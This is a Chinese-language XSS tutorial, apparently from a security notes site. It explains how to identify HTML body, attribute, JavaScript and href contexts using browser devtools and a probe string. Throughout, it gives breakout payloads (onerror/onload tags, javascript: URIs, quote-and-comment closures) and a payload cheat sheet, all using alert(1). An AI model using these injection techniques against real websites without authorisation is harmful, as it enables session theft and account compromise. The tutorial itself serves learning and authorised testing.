跳转至

XSS上下文注入

常见上下文场景

1. 标签间注入 (HTML Body Context)

数据直接输出在 HTML 标签闭合处(如 <div>数据</div>)。

直接注入 <script> 标签:

HTML
<script>alert(1)</script>

借助带有事件回调的标签(常用 <img> 或 <svg>):

HTML
<!-- 触发图片加载失败事件 -->
<img src="x" onerror="alert(1)">

<!-- SVG 标签在解析时即触发 onload -->
<svg onload="alert(1)">

2. HTML 属性内注入 (Attribute Context)

数据输出在标签属性值中(如 <input value="数据">)。

模板 A:闭合属性与标签(跳出属性)

HTML
"><script>alert(1)</script>
"><img src=x onerror=alert(1)>

模板 B:利用现有标签事件(无需闭合标签)

HTML
" onfocus="alert(1)" autofocus="
" onmouseover="alert(1)

模板 C:伪协议(适用于 href、src、action 等属性)

HTML
<a href="javascript:alert(1)">Click Me</a>
<iframe src="javascript:alert(1)"></iframe>

3. JavaScript 脚本块内注入 (Script Context)

数据输出在 <script> 内部(如 <script> var name = "数据"; </script>)。

模板 A:闭合当前的 JavaScript 语句或闭合整段脚本

JavaScript
"; alert(1); //
'; alert(1); //
</script><script>alert(1)</script>

模板 B:利用 ES6 模板字符串(若输出在反引号 数据 内)

JavaScript
${alert(1)}

速查表:你的输入最终显示在哪里?

Text Only
├── 在 <script> 标签内部 ──────→ 用 Quotes 闭合变量 (例如 "; alert(1); //)
├── 在 <a> 的 href 属性里 ─────→ 用 伪协议 (例如 javascript:alert(1))
├── 在 普通属性 里 (如 value) ──→ 先用 "> 闭合属性,再接 <img> 或 <svg>
└── 在 <div> 等标签文本间 ────→ 首选 <script>;若被拦截,换成 <img onerror> 或 <svg onload>

简洁版 Payload 收藏

HTML
<script>alert(1)</script>
<img src=1 onerror=alert(1)>
<svg onload=alert(1)/>
<a href=javascript:alert(1)>xss</a>

为什么需要闭合

为什么要闭合?难道直接在后面添加 script 脚本不行吗?

这是因为 HTML 解析器在处理代码时,有着非常严格的语法规则。如果不闭合,你输入的脚本只会被浏览器当作**普通文本数据**处理,而根本不会被当作**可执行的代码**。

通过下面这个对比,就能一眼看懂原因:

假设后端的渲染逻辑是把用户的输入放到 value 属性中:

HTML
<input type="text" value="[这里是用户的输入]">

情况一:不闭合

如果你在搜索框直接输入:

HTML
<script>alert(1)</script>

最终生成的 HTML 页面代码是:

HTML
<input type="text" value="<script>alert(1)</script>">

浏览器是如何解读的?

浏览器从左往右解析 HTML。当它看到 <input type="text" value=" 时,它知道:接下来引号里的所有内容,全是这个输入框的文本值。

即使引号里面出现了 <script>,浏览器也会认为这**只是用户想在文本框里显示的一串普通文字**(就像有人在搜索框搜"如何写 script 标签"一样)。

结果**:页面上成功展示了一个输入框,里面填着 <script>alert(1)</script> 这一串字,没有任何弹窗触发。

情况二:进行了"闭合"操作

如果你输入的字符串是:

HTML
"> <script>alert(1)</script>

最终生成的 HTML 页面代码是:

HTML
<input type="text" value=""> <script>alert(1)</script> ">

浏览器是如何解读的?

  1. 浏览器看到 <input type="text" value=",开始读取属性值。
  2. 读到了你输入的第一个 ",浏览器认为:value 属性到此结束(闭合)!
  3. 紧接着读到了 >,浏览器认为:<input> 这个 HTML 标签到此完全结束(闭合)!
  4. 接下来读到了 <script>alert(1)</script>:此时浏览器已经位于标签外部,它会判定**这是一个独立的 JavaScript 代码块**,于是立刻开始运行它!

结果:代码被成功执行(触发弹窗)。

分析DOM上下文

在浏览器 F12(开发者工具)中定位输入的 DOM 上下文,本质上就是寻找**"你的输入被放置在 HTML 源码的什么结构里"**。

下面以 Chrome / Edge 为例,用一套标准的操作流程和实际场景,带你快速完成分析与 Payload 匹配。

一、实操分析 4 步走

第一步:发送唯一探针字符串

在目标输入框或 URL 参数中,提交一个容易被全局搜出的**高辨识度字符串**(探针),最好包含常见的特殊字符(用于测试是否被转义)。

推荐探针:

Text Only
test1234'"><

第二步:利用 F12 检索定位

  1. 按 F12(或右键 → 检查)打开开发者工具。
  2. 快捷键 Ctrl + F(Mac 上为 Cmd + F),输入你的探针字符串 test1234。
  3. 检查匹配到的所有位置(注意区分是服务器渲染的 HTML 还是 JS 变量,或是后续动态生成的 DOM)。

第三步:分析探针的 DOM 结构(上下文)

定位到输入点后,查看探针被哪个标签、属性或脚本块包裹:

检查项 分析要点
看转义情况 探针里的 ' " < > 是否被变成了 ' " < >?如果全部被转义为实体字符,且不在 javascript: 属性或未经过 DOM 渲染,通常说明过滤有效。
看闭合需求 探针的前后紧挨着什么符号?

闭合需求速查:

探针所在位置 闭合方法
在 "..." 内 需要用 " 闭合
在 <div>...</div> 内 不需要闭合属性,但可能需要闭合其他标签
在 <script>var a='...';</script> 内 需要用 ' 闭合变量,或用 </script> 闭合整个脚本块

第四步:构造 Payload 并验证

根据闭合逻辑拼接代码,提交后再回 F12 观察:你的 Payload 是否成功破坏了原本的 HTML 结构,并独立成为了一个新的标签或执行语句?


二、常见 DOM 上下文实操图解

场景 1:标签文本间上下文

F12 看到的渲染效果:

HTML
<p>搜索结果:test1234'">&lt;</p>
  • 上下文分析:处于 <p> 标签之间,且 < 被转义,但如果直接输入新的标签无阻碍。
  • 测试 Payload:<script>alert(1)</script> 或 <svg onload=alert(1)>

成功突破后的 DOM 结构:

HTML
<p>搜索结果:<svg onload=alert(1)></p>

场景 2:HTML 属性上下文

F12 看到的渲染效果:

HTML
<input type="text" name="user" value="test1234'"><">
  • 上下文分析:探针落在了 value="..." 的双引号内部。
  • 构造逻辑:需要先用 " 闭合前面的 value 属性,再用 > 闭合整个 <input> 标签,最后接新标签。
  • 测试 Payload:"><img src=x onerror=alert(1)>

成功突破后的 DOM 结构:

HTML
<input type="text" name="user" value=""><img src=x onerror=alert(1)">">

场景 3:JavaScript 脚本块上下文

F12 看到的渲染效果:

HTML
<script>
    var searchKeyword = "test1234'"><";
    console.log(searchKeyword);
</script>
  • 上下文分析:处于双引号包裹的 JS 字符串变量中。

构造逻辑:

方案 方法 原理
方案 A 闭合 JS 语句 用 " 闭合变量,用 ; 隔开,写 JS 代码,再用 // 注释掉后面的双引号。
方案 B 直接标签截断 HTML 解析器的优先级高于 JS 解析器。直接用 </script> 可以强制终止当前脚本块!

测试 Payload:

  • 方案 A:"; alert(1); //
  • 方案 B:</script><script>alert(1)</script>

成功突破后的 DOM 结构(以方案 A 为例):

HTML
<script>
    var searchKeyword = ""; alert(1); //";
    console.log(searchKeyword);
</script>

场景 4:URL / 属性伪协议上下文

F12 看到的渲染效果:

HTML
<a href="test1234'"><">点击查看个人主页</a>
  • 上下文分析:探针落在了 <a> 标签的 href 属性中。
  • 构造逻辑:当点击该链接时,浏览器会解析 href 里的协议头。直接使用 javascript: 伪协议即可,不需要任何闭合符号(除非有引号包裹干扰)。
  • 测试 Payload:javascript:alert(1)

成功突破后的 DOM 结构:

HTML
<a href="javascript:alert(1)">点击查看个人主页</a>

三、F12 调试小技巧

利用 Elements 面板 vs Sources 面板

面板 显示内容
Elements(元素) 显示的是浏览器**解析并渲染后**的最终 DOM 树。
Network / Sources(源码) 显示的是服务器返回的**原始** HTML 响应。

💡 技巧:如果 Sources 里有你的 Payload 但 Elements 里没有触发,说明可能是前端 JS(如 React/Vue)对数据做了二次安全处理。

使用 Console(控制台)验证

如果你不确定某个 DOM 节点是通过什么 JS 逻辑渲染的,可以在 Elements 面板选中该节点,然后在 Console 里输入 $0($0 代表当前选中的 DOM 元素),直接调出进行调试。